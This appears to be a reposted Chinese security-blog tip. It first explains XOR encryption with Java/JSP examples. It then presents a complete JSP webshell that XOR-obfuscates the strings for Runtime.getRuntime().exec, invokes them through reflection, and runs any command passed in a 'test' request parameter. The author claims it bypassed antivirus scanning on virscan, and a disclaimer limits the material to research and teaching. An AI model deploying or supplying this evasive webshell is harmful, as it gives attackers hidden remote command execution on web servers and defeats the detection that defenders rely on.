异或加密
异或加密 (XOR Cipher)
异或加密是一种对每个字符执行位操作的加密方法。通过与一个密钥进行异或运算,明文会被加密,且加密后的文本可以通过相同的密钥再次进行异或解密。
加密与解密示例:
<%! public static String xorEncryptDecrypt(String text, char key) { StringBuilder result = new StringBuilder(); for (int i = 0; i < text.length(); i++) { char c = (char) (text.charAt(i) ^ key); // 执行异或运算 result.append(c); // 将结果添加到 StringBuilder } return result.toString(); }%>
使用示例:
<% String originalText = "Hello World!"; char key = 'K'; // 选择一个密钥 String encryptedText = xorEncryptDecrypt(originalText, key); String decryptedText = xorEncryptDecrypt(encryptedText, key); // 再次使用相同的密钥解密 out.println("Original Text: " + originalText); out.println("Encrypted Text: " + encryptedText); out.println("Decrypted Text: " + decryptedText);%>
解释:
-
异或加密的优点是简单且对称:加密和解密使用相同的密钥。 -
异或加密的弱点是密钥长度固定,因此当密钥较短时,容易被暴力破解。增加密钥长度或多次异或可以提高安全性。
免杀实践
public static String xorEncryptDecrypt(String text, char key) { StringBuilder result = new StringBuilder(); for (int i = 0; i < text.length(); i++) { char c = (char) (text.charAt(i) ^ key); // 执行异或运算 result.append(c); // 将结果添加到 StringBuilder } return result.toString(); } public static void main(String[] args) throws NoSuchMethodException { String a = "java.lang.Runtime"; String b = "getRuntime"; String c = "exec"; char k = 'A'; String encryptedText = xorEncryptDecrypt(a, k); // 再次使用相同的密钥解密 String decryptedText = xorEncryptDecrypt(encryptedText, k); // 再次使用相同的密钥解密 System.out.println("Encrypted Text: " + encryptedText); System.out.println("Decrypted Text: " + decryptedText); String encryptedText2 = xorEncryptDecrypt(b, k); // 再次使用相同的密钥解密 String decryptedText2 = xorEncryptDecrypt(encryptedText2, k); // 再次使用相同的密钥解密 System.out.println("Encrypted Text: " + encryptedText2); System.out.println("Decrypted Text: " + decryptedText2); String encryptedText3 = xorEncryptDecrypt(c, k); // 再次使用相同的密钥解密 String decryptedText3 = xorEncryptDecrypt(encryptedText3, k); // 再次使用相同的密钥解密 System.out.println("Encrypted Text: " + encryptedText3); System.out.println("Decrypted Text: " + decryptedText3); }
使用异或对关键字符串进行加密,执行成功
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.lang.reflect.Method" %><%! public static String xorEncryptDecrypt(String text, char key) { StringBuilder result = new StringBuilder(); for (int i = 0; i < text.length(); i++) { char c = (char) (text.charAt(i) ^ key); // 执行异或运算 result.append(c); // 将结果添加到 StringBuilder } return result.toString(); }%><% String test = request.getParameter("test"); if (test != null) { // 利用反射构造类名和方法名 String a = "+ 7 o- /&ou00134/5(,$"; String d = "&$5u00134/5(,$"; String h = "$9$""; char k = 'A'; String aa = xorEncryptDecrypt(a,k); String bb = xorEncryptDecrypt(d,k); String cc = xorEncryptDecrypt(h,k); out.println(aa); out.println(bb); out.println(cc); Class<?> r = Class.forName(aa); Method g = r.getDeclaredMethod(bb); Method e = r.getDeclaredMethod(cc, String.class); Runtime runtime = (Runtime) g.invoke(null); Process process = (Process) e.invoke(runtime, test); java.io.InputStream in = process.getInputStream(); int z = -1; byte[] b = new byte[2048]; out.print("<pre>"); while ((z = in.read(b)) != -1) { out.println(new String(b)); } out.print("</pre>"); }%>
上传到 virscan 查杀成功绕过
原文始发于微信公众号(贝雷帽SEC):【Tips】利用反射&异或加密实现WebShell免杀
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论